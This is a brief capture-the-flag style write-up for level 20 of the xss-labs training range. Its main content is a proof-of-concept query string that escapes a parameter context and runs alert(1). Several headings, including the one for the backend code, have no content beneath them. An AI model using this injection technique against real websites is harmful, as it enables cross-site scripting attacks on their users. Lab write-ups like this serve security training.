[Network Security] Detailed analysis of xss-labs level-20 problem solving

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posture

Logical backend code:

POC：

arg01=id&arg02=\%22))}catch(e){
    
    }if(!self.a)self.a=!alert(1)//%26width%26height

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Summarize

The above is a detailed analysis of [Network Security] xss-labs level-20 problem solving. So far, the column of xss-labs shooting range attack and defense is over.

I am Qiu said , see you next time.